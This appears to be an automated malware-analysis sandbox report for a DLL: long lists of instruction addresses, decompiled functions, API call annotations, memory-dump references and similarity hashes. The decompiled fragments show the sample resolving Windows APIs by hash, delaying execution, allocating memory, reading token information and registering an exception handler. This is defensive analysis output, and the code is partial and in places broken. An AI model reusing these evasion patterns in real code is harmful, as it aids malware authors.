                                                                                                                                              0x6e760df9
                                                                                                                                              0x6e760dfe
                                                                                                                                              0x6e760e1d
                                                                                                                                              0x6e760e1d
                                                                                                                                              0x6e760e27
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760e27
                                                                                                                                              0x6e760e00
                                                                                                                                              0x6e760e04
                                                                                                                                              0x6e760e06
                                                                                                                                              0x6e760e0d
                                                                                                                                              0x6e760e0d
                                                                                                                                              0x6e760e13
                                                                                                                                              0x6e760e13
                                                                                                                                              0x6e760e15
                                                                                                                                              0x6e760e18
                                                                                                                                              0x6e760e18
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760e15
                                                                                                                                              0x6e760e08
                                                                                                                                              0x6e760e0b
                                                                                                                                              0x6e760e11
                                                                                                                                              0x6e760e11
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760e11
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760e0b
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a88
                                                                                                                                              0x6e760a46
                                                                                                                                              0x6e760a4b
                                                                                                                                              0x6e760a50
                                                                                                                                              0x6e760a6f
                                                                                                                                              0x6e760a6f
                                                                                                                                              0x6e760a79
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a79
                                                                                                                                              0x6e760a52
                                                                                                                                              0x6e760a56
                                                                                                                                              0x6e760a58
                                                                                                                                              0x6e760a5f
                                                                                                                                              0x6e760a5f
                                                                                                                                              0x6e760a65
                                                                                                                                              0x6e760a65
                                                                                                                                              0x6e760a67
                                                                                                                                              0x6e760a6a
                                                                                                                                              0x6e760a6a
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a67
                                                                                                                                              0x6e760a5a
                                                                                                                                              0x6e760a5d
                                                                                                                                              0x6e760a63
                                                                                                                                              0x6e760a63
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a63
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a5d
                                                                                                                                              0x6e7609f4
                                                                                                                                              0x6e7609f6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a00
                                                                                                                                              0x6e760a05
                                                                                                                                              0x6e760a0a
                                                                                                                                              0x6e760a29
                                                                                                                                              0x6e760a29
                                                                                                                                              0x6e760a33
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a33
                                                                                                                                              0x6e760a0c
                                                                                                                                              0x6e760a10
                                                                                                                                              0x6e760a12
                                                                                                                                              0x6e760a19
                                                                                                                                              0x6e760a19
                                                                                                                                              0x6e760a1f
                                                                                                                                              0x6e760a1f
                                                                                                                                              0x6e760a21
                                                                                                                                              0x6e760a24
                                                                                                                                              0x6e760a24
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a21
                                                                                                                                              0x6e760a14
                                                                                                                                              0x6e760a17
                                                                                                                                              0x6e760a1d
                                                                                                                                              0x6e760a1d
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a1d
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a17
                                                                                                                                              0x6e760959
                                                                                                                                              0x6e76095e
                                                                                                                                              0x6e760963
                                                                                                                                              0x6e760982
                                                                                                                                              0x6e760982
                                                                                                                                              0x6e76098c
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76098c
                                                                                                                                              0x6e760965
                                                                                                                                              0x6e760969
                                                                                                                                              0x6e76096b
                                                                                                                                              0x6e760972
                                                                                                                                              0x6e760972
                                                                                                                                              0x6e760978
                                                                                                                                              0x6e760978
                                                                                                                                              0x6e76097a
                                                                                                                                              0x6e76097d
                                                                                                                                              0x6e76097d
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76097a
                                                                                                                                              0x6e76096d
                                                                                                                                              0x6e760970
                                                                                                                                              0x6e760976
                                                                                                                                              0x6e760976
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760976
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76089a
                                                                                                                                              0x6e76089c
                                                                                                                                              0x6e760b01
                                                                                                                                              0x6e760b06
                                                                                                                                              0x6e760b09
                                                                                                                                              0x6e760b0e
                                                                                                                                              0x6e760b10
                                                                                                                                              0x6e760b25
                                                                                                                                              0x6e760b28
                                                                                                                                              0x6e760bf6
                                                                                                                                              0x6e760bfe
                                                                                                                                              0x6e760c01
                                                                                                                                              0x6e760c16
                                                                                                                                              0x6e760c20
                                                                                                                                              0x6e760c20
                                                                                                                                              0x6e760c22
                                                                                                                                              0x6e760c24
                                                                                                                                              0x6e760c33
                                                                                                                                              0x6e760c3f
                                                                                                                                              0x6e760c43
                                                                                                                                              0x6e760c46
                                                                                                                                              0x6e760c49
                                                                                                                                              0x6e760c4c
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760c4c
                                                                                                                                              0x6e760b38
                                                                                                                                              0x6e760b4a
                                                                                                                                              0x6e760b4e
                                                                                                                                              0x6e760bda
                                                                                                                                              0x6e760bda
                                                                                                                                              0x6e760be0
                                                                                                                                              0x6e760beb
                                                                                                                                              0x6e760be2
                                                                                                                                              0x6e760be2
                                                                                                                                              0x6e760be2
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760be0
                                                                                                                                              0x6e760b5b
                                                                                                                                              0x6e760b5c
                                                                                                                                              0x6e760b5e
                                                                                                                                              0x6e760b64
                                                                                                                                              0x6e760fb3
                                                                                                                                              0x6e760fb8
                                                                                                                                              0x6e760fba
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760fc0
                                                                                                                                              0x6e760b7b
                                                                                                                                              0x6e760b7f
                                                                                                                                              0x6e760b84
                                                                                                                                              0x6e760b96
                                                                                                                                              0x6e760b9a
                                                                                                                                              0x6e760ba5
                                                                                                                                              0x6e760ba6
                                                                                                                                              0x6e760ba7
                                                                                                                                              0x6e760ba8
                                                                                                                                              0x6e760baa
                                                                                                                                              0x6e760bb5
                                                                                                                                              0x6e760e2d
                                                                                                                                              0x6e760e2d
                                                                                                                                              0x6e760bb5
                                                                                                                                              0x6e760bbb
                                                                                                                                              0x6e760bc4
                                                                                                                                              0x6e760e3f
                                                                                                                                              0x6e760e55
                                                                                                                                              0x6e760e57
                                                                                                                                              0x6e760e59
                                                                                                                                              0x6e760f94
                                                                                                                                              0x6e760f9b
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760f9b
                                                                                                                                              0x6e760e68
                                                                                                                                              0x6e760e76
                                                                                                                                              0x6e760e90
                                                                                                                                              0x6e760e92
                                                                                                                                              0x6e760e94
                                                                                                                                              0x6e760fa5
                                                                                                                                              0x6e760faa
                                                                                                                                              0x6e760fac
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760fae
                                                                                                                                              0x6e760ea8
                                                                                                                                              0x6e760eb3
                                                                                                                                              0x6e760ec2
                                                                                                                                              0x6e760ed4
                                                                                                                                              0x6e760ed6
                                                                                                                                              0x6e760ed8
                                                                                                                                              0x6e760ee5
                                                                                                                                              0x6e760ee5
                                                                                                                                              0x6e760ef5
                                                                                                                                              0x6e760f06
                                                                                                                                              0x6e760f0b
                                                                                                                                              0x6e760f0d
                                                                                                                                              0x6e760f0f
                                                                                                                                              0x6e760f16
                                                                                                                                              0x6e760f17
                                                                                                                                              0x6e760f17
                                                                                                                                              0x6e760f23
                                                                                                                                              0x6e760f44
                                                                                                                                              0x6e760f4d
                                                                                                                                              0x6e760f59
                                                                                                                                              0x6e760f65
                                                                                                                                              0x6e760f6a
                                                                                                                                              0x6e760f6f
                                                                                                                                              0x6e760f75
                                                                                                                                              0x6e760f75
                                                                                                                                              0x6e760f7a
                                                                                                                                              0x6e760f80
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760f86
                                                                                                                                              0x6e760f88
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760f88
                                                                                                                                              0x6e760bca
                                                                                                                                              0x6e760bca
                                                                                                                                              0x6e760bcf
                                                                                                                                              0x6e760bd5
                                                                                                                                              0x6e760bd5
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760bcf
                                                                                                                                              0x6e760bc4
                                                                                                                                              0x6e760898
                                                                                                                                              0x6e760808
                                                                                                                                              0x6e760809
                                                                                                                                              0x6e76080b
                                                                                                                                              0x6e760811
                                                                                                                                              0x6e760dde
                                                                                                                                              0x6e760de3
                                                                                                                                              0x6e760de5
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760deb
                                                                                                                                              0x6e760828
                                                                                                                                              0x6e76082c
                                                                                                                                              0x6e760831
                                                                                                                                              0x6e760847
                                                                                                                                              0x6e76085e
                                                                                                                                              0x6e760862
                                                                                                                                              0x6e760c5a
                                                                                                                                              0x6e760c5a
                                                                                                                                              0x6e760862
                                                                                                                                              0x6e760868
                                                                                                                                              0x6e760871
                                                                                                                                              0x6e760c69
                                                                                                                                              0x6e760c7a
                                                                                                                                              0x6e760c7f
                                                                                                                                              0x6e760c81
                                                                                                                                              0x6e760c83
                                                                                                                                              0x6e760db4
                                                                                                                                              0x6e760db8
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760db8
                                                                                                                                              0x6e760c8f
                                                                                                                                              0x6e760cb4
                                                                                                                                              0x6e760cb6
                                                                                                                                              0x6e760cb8
                                                                                                                                              0x6e760dd0
                                                                                                                                              0x6e760dd5
                                                                                                                                              0x6e760dd7
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760dd9
                                                                                                                                              0x6e760cc9
                                                                                                                                              0x6e760cd7
                                                                                                                                              0x6e760cde
                                                                                                                                              0x6e760cdf
                                                                                                                                              0x6e760ce0
                                                                                                                                              0x6e760cf2
                                                                                                                                              0x6e760cf4
                                                                                                                                              0x6e760cf6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760cfe
                                                                                                                                              0x6e760d19
                                                                                                                                              0x6e760d1b
                                                                                                                                              0x6e760d1d
                                                                                                                                              0x6e760dc2
                                                                                                                                              0x6e760dc7
                                                                                                                                              0x6e760dc9
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760dcb
                                                                                                                                              0x6e760d23
                                                                                                                                              0x6e760d2a
                                                                                                                                              0x6e760d2e
                                                                                                                                              0x6e760d99
                                                                                                                                              0x6e760d99
                                                                                                                                              0x6e760d9b
                                                                                                                                              0x6e760da2
                                                                                                                                              0x6e760da2
                                                                                                                                              0x6e760da8
                                                                                                                                              0x6e760da8
                                                                                                                                              0x6e760daa
                                                                                                                                              0x6e760daf
                                                                                                                                              0x6e760daf
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760daa
                                                                                                                                              0x6e760d9d
                                                                                                                                              0x6e760da0
                                                                                                                                              0x6e760da6
                                                                                                                                              0x6e760da6
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760da6
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760da0
                                                                                                                                              0x6e760d30
                                                                                                                                              0x6e760d30
                                                                                                                                              0x6e760d32
                                                                                                                                              0x6e760d3e
                                                                                                                                              0x6e760d43
                                                                                                                                              0x6e760d45
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760d47
                                                                                                                                              0x6e760d4b
                                                                                                                                              0x6e760d52
                                                                                                                                              0x6e760d53
                                                                                                                                              0x6e760d54
                                                                                                                                              0x6e760d56
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760d58
                                                                                                                                              0x6e760d5a
                                                                                                                                              0x6e760d61
                                                                                                                                              0x6e760d61
                                                                                                                                              0x6e760d67
                                                                                                                                              0x6e760d67
                                                                                                                                              0x6e760d69
                                                                                                                                              0x6e760d6e
                                                                                                                                              0x6e760d6e
                                                                                                                                              0x6e760d77
                                                                                                                                              0x6e760d7c
                                                                                                                                              0x6e760d81
                                                                                                                                              0x6e760d87
                                                                                                                                              0x6e760d87
                                                                                                                                              0x6e760d8c
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760d8c
                                                                                                                                              0x6e760d5c
                                                                                                                                              0x6e760d5f
                                                                                                                                              0x6e760d65
                                                                                                                                              0x6e760d65
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760d65
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760d93
                                                                                                                                              0x6e760d93
                                                                                                                                              0x6e760d94
                                                                                                                                              0x6e760d94
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760d32
                                                                                                                                              0x6e760877
                                                                                                                                              0x6e76087c
                                                                                                                                              0x6e760882
                                                                                                                                              0x6e760882
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760c59
                                                                                                                                              0x6e760c59
                                                                                                                                              0x6e760c59

                                                                                                                                              APIs
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,150C05FC,150C05FC), ref: 6E76085E
                                                                                                                                              • GetSystemInfo.KERNELBASE(?,8E844D1E,8E844D1E,?,?,360D0C74,?,?,1E55AAEC,?,?,C0092A94,00000000,80000002,00000000,-000000FC), ref: 6E760C20
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,00000000,150C05FC,150C05FC,00000000,150C05FC,150C05FC), ref: 6E760CB4
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: InformationToken$InfoSystem
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 298373132-0
                                                                                                                                              • Opcode ID: 020eea24d4dcda6f68f0a3cba0dab5031c1339a01c16ad27c98931d188b24919
                                                                                                                                              • Instruction ID: b24f8107fd6a67026043006bdbb777e6d3535cb7aa5815542caa3094ef4237ba
                                                                                                                                              • Opcode Fuzzy Hash: 020eea24d4dcda6f68f0a3cba0dab5031c1339a01c16ad27c98931d188b24919
                                                                                                                                              • Instruction Fuzzy Hash: 4E22C570608341AEEB75DFA4CA54BEB77A9AF8130CF10896DAC94572B5EF30D805CB52
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 58%
                                                                                                                                              			E6E762234(void* __ecx, intOrPtr __edx, void* __esi) {
                                                                                                                                              				intOrPtr _v4;
                                                                                                                                              				intOrPtr _v20;
                                                                                                                                              				intOrPtr* _t5;
                                                                                                                                              				intOrPtr _t11;
                                                                                                                                              				intOrPtr* _t13;
                                                                                                                                              				intOrPtr* _t15;
                                                                                                                                              
                                                                                                                                              				_t11 = __edx;
                                                                                                                                              				if(__ecx == 0) {
                                                                                                                                              					 *_t15 = 0;
                                                                                                                                              					_v4 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					 *_t15 = E6E763AF8(0xffffd8f0, 0xffffffff, __ecx, 0);
                                                                                                                                              					_v20 = _t11;
                                                                                                                                              				}
                                                                                                                                              				_t5 = E6E76306C(0x60a28c5c, 0x11cab064, 0x60a28c5c, 0x60a28c5c);
                                                                                                                                              				_t13 = _t5;
                                                                                                                                              				if(_t13 != 0) {
                                                                                                                                              					_t5 =  *_t13(0, _t15); // executed
                                                                                                                                              				}
                                                                                                                                              				return _t5;
                                                                                                                                              			}









                                                                                                                                              0x6e762234
                                                                                                                                              0x6e762238
                                                                                                                                              0x6e762254
                                                                                                                                              0x6e762257
                                                                                                                                              0x6e76223a
                                                                                                                                              0x6e762249
                                                                                                                                              0x6e76224c
                                                                                                                                              0x6e76224c
                                                                                                                                              0x6e762267
                                                                                                                                              0x6e76226c
                                                                                                                                              0x6e762270
                                                                                                                                              0x6e762278
                                                                                                                                              0x6e762278
                                                                                                                                              0x6e76227c

                                                                                                                                              APIs
                                                                                                                                              • NtDelayExecution.NTDLL(00000000,00000000,60A28C5C,60A28C5C,FFFFFFFF,FFFFFFFF,6E754B17,00000000,00000000,?), ref: 6E762278
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: DelayExecution
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 1249177460-0
                                                                                                                                              • Opcode ID: 2c9c5e460e6a6f6e58fad2ac9a5298f00f0cc66bf3291dc41720851ba70b474b
                                                                                                                                              • Instruction ID: c2aa7ce8e5959d4c8a1945fa11ac91f0627adbaac5d8ed6e6f59503948ea1b99
                                                                                                                                              • Opcode Fuzzy Hash: 2c9c5e460e6a6f6e58fad2ac9a5298f00f0cc66bf3291dc41720851ba70b474b
                                                                                                                                              • Instruction Fuzzy Hash: 75E065B060E302BDEB849B699D04B6B37D8AFC5714F21893DB868D7194E670D4018761
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6E762820(void* __ecx, long __edx, void* __esi, long _a4, long _a8, void* _a12) {
                                                                                                                                              				long _v4;
                                                                                                                                              				void* _t8;
                                                                                                                                              				long _t10;
                                                                                                                                              				PVOID* _t19;
                                                                                                                                              
                                                                                                                                              				_v4 = __edx;
                                                                                                                                              				 *_t19 = __ecx;
                                                                                                                                              				if(E6E76306C(0x60a28c5c, 0x414fdf7, 0x60a28c5c, 0x60a28c5c) == 0) {
                                                                                                                                              					L3:
                                                                                                                                              					_t8 =  *_t19;
                                                                                                                                              				} else {
                                                                                                                                              					_t10 = NtAllocateVirtualMemory(_a12, _t19, 0,  &_v4, _a4, _a8); // executed
                                                                                                                                              					if(_t10 == 0) {
                                                                                                                                              						goto L3;
                                                                                                                                              					} else {
                                                                                                                                              						_t8 = 0;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				return _t8;
                                                                                                                                              			}







                                                                                                                                              0x6e762827
                                                                                                                                              0x6e762830
                                                                                                                                              0x6e76283e
                                                                                                                                              0x6e762861
                                                                                                                                              0x6e762861
                                                                                                                                              0x6e762840
                                                                                                                                              0x6e762857
                                                                                                                                              0x6e76285b
                                                                                                                                              0x00000000
                                                                                                                                              0x6e76285d
                                                                                                                                              0x6e76285d
                                                                                                                                              0x6e76285d
                                                                                                                                              0x6e76285b
                                                                                                                                              0x6e762866

                                                                                                                                              APIs
                                                                                                                                              • NtAllocateVirtualMemory.NTDLL(6E7688E6,?,00000000,000000FF,6E7688E6,6E7688E6,60A28C5C,60A28C5C,?,?,6E7688E6,00003000,00000004,000000FF), ref: 6E762857
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: AllocateMemoryVirtual
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 2167126740-0
                                                                                                                                              • Opcode ID: 1b6e0df76e67549dfb1e774fc107f98af224613b3e03ad2134b0c600fba901d1
                                                                                                                                              • Instruction ID: 1787c8b6d516fe445c28b5baa5fa09a31acbc3035643db96114b58cd752c69a5
                                                                                                                                              • Opcode Fuzzy Hash: 1b6e0df76e67549dfb1e774fc107f98af224613b3e03ad2134b0c600fba901d1
                                                                                                                                              • Instruction Fuzzy Hash: 96E03071209343AFEB48CA95CD24D6BB7E9EFC4608F108C2DB894D6260D730D8009B25
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 37%
                                                                                                                                              			E6E763138(intOrPtr* __ecx) {
                                                                                                                                              				void* _t1;
                                                                                                                                              
                                                                                                                                              				_push(E6E7634B0);
                                                                                                                                              				_push(1); // executed
                                                                                                                                              				_t1 =  *__ecx(); // executed
                                                                                                                                              				return _t1;
                                                                                                                                              			}




                                                                                                                                              0x6e763138
                                                                                                                                              0x6e76313d
                                                                                                                                              0x6e76313f
                                                                                                                                              0x6e763141

                                                                                                                                              APIs
                                                                                                                                              • RtlAddVectoredExceptionHandler.NTDLL(00000001,6E7634B0,6E763128,60A28C5C,60A28C5C,?,6E756C99,00000000), ref: 6E76313F
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: ExceptionHandlerVectored
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 3310709589-0
                                                                                                                                              • Opcode ID: d84a8cf24999cea188bce179ed404283e1c651655b07b81ed9d26eb2d608d134
                                                                                                                                              • Instruction ID: 998df7f1c0570ac21a4b11b19462bd27bc710fec0ed67a9fdc387226f0d21107
                                                                                                                                              • Opcode Fuzzy Hash: d84a8cf24999cea188bce179ed404283e1c651655b07b81ed9d26eb2d608d134
                                                                                                                                              • Instruction Fuzzy Hash:
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6E765E84(void* __ecx, void* __eflags, void* _a4, char _a8) {
                                                                                                                                              				long _v12;
                                                                                                                                              				void* __esi;
                                                                                                                                              				long _t9;
                                                                                                                                              				long _t10;
                                                                                                                                              				int _t12;
                                                                                                                                              				void* _t18;
                                                                                                                                              				void** _t19;
                                                                                                                                              				DWORD* _t20;
                                                                                                                                              
                                                                                                                                              				_t18 = __ecx;
                                                                                                                                              				_t19 = __ecx + 0xc;
                                                                                                                                              				if(E6E75C280(_t19) == 0) {
                                                                                                                                              					_t2 =  &_a8; // 0x6e765d79
                                                                                                                                              					_v12 =  *_t2;
                                                                                                                                              					if(E6E763064(0x8e844d1e, 0xed3ed1cc) == 0) {
                                                                                                                                              						_t9 = 0x7f;
                                                                                                                                              					} else {
                                                                                                                                              						_t12 = ReadFile( *_t19, _a4, _v12, _t20, 0); // executed
                                                                                                                                              						if(_t12 == 0) {
                                                                                                                                              							_t9 = E6E7635F0(_t18);
                                                                                                                                              						} else {
                                                                                                                                              							_t9 = 0;
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					 *((intOrPtr*)(_t18 + 8)) = _t9;
                                                                                                                                              					if(_t9 == 0) {
                                                                                                                                              						_t10 = _v12;
                                                                                                                                              					} else {
                                                                                                                                              						_t10 = 0;
                                                                                                                                              						_v12 = 0;
                                                                                                                                              					}
                                                                                                                                              				} else {
                                                                                                                                              					_t10 = 0;
                                                                                                                                              				}
                                                                                                                                              				return _t10;
                                                                                                                                              			}











                                                                                                                                              0x6e765e87
                                                                                                                                              0x6e765e89
                                                                                                                                              0x6e765e95
                                                                                                                                              0x6e765e9b
                                                                                                                                              0x6e765e9f
                                                                                                                                              0x6e765eb5
                                                                                                                                              0x6e765ed4
                                                                                                                                              0x6e765eb7
                                                                                                                                              0x6e765ec8
                                                                                                                                              0x6e765ecc
                                                                                                                                              0x6e765eec
                                                                                                                                              0x6e765ece
                                                                                                                                              0x6e765ece
                                                                                                                                              0x6e765ece
                                                                                                                                              0x6e765ecc
                                                                                                                                              0x6e765ed5
                                                                                                                                              0x6e765eda
                                                                                                                                              0x6e765ee3
                                                                                                                                              0x6e765edc
                                                                                                                                              0x6e765edc
                                                                                                                                              0x6e765ede
                                                                                                                                              0x6e765ede
                                                                                                                                              0x6e765e97
                                                                                                                                              0x6e765e97
                                                                                                                                              0x6e765e97
                                                                                                                                              0x6e765ee9

                                                                                                                                              APIs
                                                                                                                                              • ReadFile.KERNELBASE(?,?,00000000,00000000,00000000,8E844D1E,ED3ED1CC,?,?,?,6E765D79,00000000,?,00000000,?), ref: 6E765EC8
                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: FileRead
                                                                                                                                              • String ID: y]vn
                                                                                                                                              • API String ID: 2738559852-2155356102
                                                                                                                                              • Opcode ID: 84a6624f29361c2a8c98364ad473c0758c1d35c4603bde8f3404ef6b27891e48
                                                                                                                                              • Instruction ID: 1895b5650f47688e62b5b57da1ccbc70925c18274d822d28bfd6ea543d57974d
                                                                                                                                              • Opcode Fuzzy Hash: 84a6624f29361c2a8c98364ad473c0758c1d35c4603bde8f3404ef6b27891e48
                                                                                                                                              • Instruction Fuzzy Hash: CDF0D630218303AEDF51DEA9AE10AAA77D9AF45248F104C2AAC95CA161EA32D404DA21
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 86%
                                                                                                                                              			E6E7610A4(void* __ebx, void* __ecx) {
                                                                                                                                              				intOrPtr* _t34;
                                                                                                                                              				long* _t55;
                                                                                                                                              				long* _t59;
                                                                                                                                              				intOrPtr* _t64;
                                                                                                                                              				void* _t73;
                                                                                                                                              				void* _t74;
                                                                                                                                              				void* _t79;
                                                                                                                                              				long* _t80;
                                                                                                                                              
                                                                                                                                              				_t74 = __ecx;
                                                                                                                                              				_t80[7] = 0;
                                                                                                                                              				_t64 = E6E76306C(0x150c05fc, 0x1da4d409, 0x150c05fc, 0x150c05fc);
                                                                                                                                              				if(_t64 != 0) {
                                                                                                                                              					 *_t64(_t74, 8,  &(_t80[7]));
                                                                                                                                              				}
                                                                                                                                              				_t55 = _t80;
                                                                                                                                              				 *_t55 = _t80[7];
                                                                                                                                              				_t55[1] = 1;
                                                                                                                                              				if(E6E75C280(_t55) != 0) {
                                                                                                                                              					L6:
                                                                                                                                              					if(_t80[1] != 0) {
                                                                                                                                              						E6E75BB44(_t80);
                                                                                                                                              					}
                                                                                                                                              					return 0;
                                                                                                                                              				}
                                                                                                                                              				_t80[6] = 0;
                                                                                                                                              				if(E6E76306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc) != 0) {
                                                                                                                                              					GetTokenInformation(_t80[4], 0x19, 0, 0,  &(_t80[6])); // executed
                                                                                                                                              				}
                                                                                                                                              				_t30 = _t80[6];
                                                                                                                                              				if(_t80[6] != 0) {
                                                                                                                                              					E6E75F584( &(_t80[3]), _t30);
                                                                                                                                              					_t59 =  &(_t80[3]);
                                                                                                                                              					_t73 = E6E75F4BC(_t59, 0);
                                                                                                                                              					_t34 = E6E76306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              					if (_t34 == 0) goto L33;
                                                                                                                                              					 *_t34 =  *_t34 + _t34;
                                                                                                                                              					 *((intOrPtr*)(_t79 + 0x50182444)) =  *((intOrPtr*)(_t79 + 0x50182444)) + _t59;
                                                                                                                                              				} else {
                                                                                                                                              					goto L6;
                                                                                                                                              				}
                                                                                                                                              			}











                                                                                                                                              0x6e7610b3
                                                                                                                                              0x6e7610b5
                                                                                                                                              0x6e7610c4
                                                                                                                                              0x6e7610c8
                                                                                                                                              0x6e7610d2
                                                                                                                                              0x6e7610d2
                                                                                                                                              0x6e7610d8
                                                                                                                                              0x6e7610db
                                                                                                                                              0x6e7610dd
                                                                                                                                              0x6e7610e8
                                                                                                                                              0x6e761122
                                                                                                                                              0x6e761127
                                                                                                                                              0x6e76112c
                                                                                                                                              0x6e76112c
                                                                                                                                              0x00000000
                                                                                                                                              0x6e761131
                                                                                                                                              0x6e7610f4
                                                                                                                                              0x6e761107
                                                                                                                                              0x6e761118
                                                                                                                                              0x6e761118
                                                                                                                                              0x6e76111a
                                                                                                                                              0x6e761120
                                                                                                                                              0x6e76113e
                                                                                                                                              0x6e761145
                                                                                                                                              0x6e76114e
                                                                                                                                              0x6e76115c
                                                                                                                                              0x6e761165
